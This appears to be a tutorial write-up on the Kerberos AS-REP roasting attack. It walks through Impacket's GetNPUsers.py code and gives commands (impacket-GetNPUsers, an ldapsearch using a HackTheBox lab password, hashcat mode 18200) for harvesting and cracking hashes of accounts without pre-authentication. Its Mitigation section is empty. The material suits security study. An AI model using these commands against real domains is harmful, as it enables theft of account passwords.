AS-REP Roasting Attack
Pre-authentication
History
The original Kerberos 4 protocol was susceptible to an offline dictionary and brute-force attacks since the KDC happily provides a ticket encrypted with the principals’ secret key to any requestor.
Kerberos V5
Kerberos 5 introduces pre-authentication which requires that requestors prove their identity by demonstrating the knowledge of the user's credentials before the KDC will issue a ticket for a particular principal.
Implementation
There are several types of pre-authentication defined by the Kerberos.
However, only the encrypted timestamp (PA-ENC-TIMESTAMP) pre-authentication method is commonly implemented.
AS-REQ Review
Pre-authentication is controlled by KDC policy.
If a client attempts to request initial tickets through the AS exchange, but the pre-authentication is enabled,
then the KDC will send a
KRB_ERRORmessage which tells the client that pre-authentication is required instead of an AS_REP.The client append the required pre-authentication data to its AS_REQ message this time.
If the pre-authentication data is accepted, the KDC responds with an AS reply including the TGT ticket. Otherwise, the KDC will response another KRB_ERROR message that indicates pre-authentication failed.
Refer to the Kerberos authentication service.
ASREPRoasting Attack
The encrypted part in the KRB_AS_REP message is encrypted using the user password hash.
The predictable content in the encrypted data allows the offline attack to be conducted:
EncKDCRepPart ::= SEQUENCE {
key [0] EncryptionKey,
last-req [1] LastReq,
nonce [2] UInt32,
key-expiration [3] KerberosTime OPTIONAL,
flags [4] TicketFlags,
authtime [5] KerberosTime,
starttime [6] KerberosTime OPTIONAL,
endtime [7] KerberosTime,
renew-till [8] KerberosTime OPTIONAL,
srealm [9] Realm,
sname [10] PrincipalName,
caddr [11] HostAddresses OPTIONAL
}Tools
We use the script GetNPUsers.py to conduct the attack, for example in the HackTheBox lab machine Forest, we use this script to get the TGT ticket for the user svc-alfresco:
$ impacket-GetNPUsers htb.local/svc-alfresco -no-pass -format hashcatAfter parsing the arguments, the script initializes the class GetUserNoPreAuth with domain account credentials:
try:
executer = GetUserNoPreAuth(username, password, domain, options)
executer.run()If a file of user names is provided, the class call its method reques_users_file_TGTs to get the TGT ticket for each account name if the pre-authentication is disabled.
def run(self):
if self.__usersFile:
self.request_users_file_TGTs()
returnLDAP Search
If doKerberos is set or no_pass is false, the script will do the LDAP search to find domain accounts with property Do not require Kerberos preauthentication setUF_DONT_REQUIRE_PREAUTH:
# Connect to LDAP
try:
ldapConnection = ldap.LDAPConnection('ldap://%s' % self.__target, self.baseDN, self.__kdcIP)
...
# Building the search filter
searchFilter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" \
"(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % \
(UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE)
try:
logging.debug('Search Filter=%s' % searchFilter)
resp = ldapConnection.search(searchFilter=searchFilter,
attributes=['sAMAccountName',
'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],
sizeLimit=999)Also, we can use this filter with the command ldapsearch to get the same results:
$ ldapsearch -H ldap://forest -x -b 'dc=htb,dc=local' -D svc-alfresco@htb.local -w s3rvice '(&(UserAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))'AS-REQ Request
Either way, the class will call its method getTGT to try to get the TGT ticket for an account.
First, the method prepare the AS_REQ message:
def getTGT(self, userName, requestPAC=True):
...
asReq = AS_REQ()
...
# from pyasn1.codec.der import decoder, encoder
message = encoder.encode(asReq)Then it sends the AS_REQ, receives, and parses the `AS_REP` response:
try:
r = sendReceive(message, domain, self.__kdcIP)
...
# This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the
# 'Do not require Kerberos preauthentication' set
try:
asRep = decoder.decode(r, asn1Spec=KRB_ERROR())[0]Encrypted Part
Finally, the script outputs the encrypted part in the KRB_AS_REP message:
if self.__outputFormat == 'john':
# Let's output the TGT enc-part/cipher in John format, in case somebody wants to use it.
return '$krb5asrep$%s@%s:%s$%s' % (clientName, domain,
hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(),
hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode())
else:
# Let's output the TGT enc-part/cipher in Hashcat format, in case somebody wants to use it.
return '$krb5asrep$%d$%s@%s:%s$%s' % ( asRep['enc-part']['etype'], clientName, domain,
hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(),
hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode())Password Crack
We can crack the hash to get the domain user password with hashcat.
$ hashcat -f -m 18200 <hash> <wordlist>Mitigation
Last updated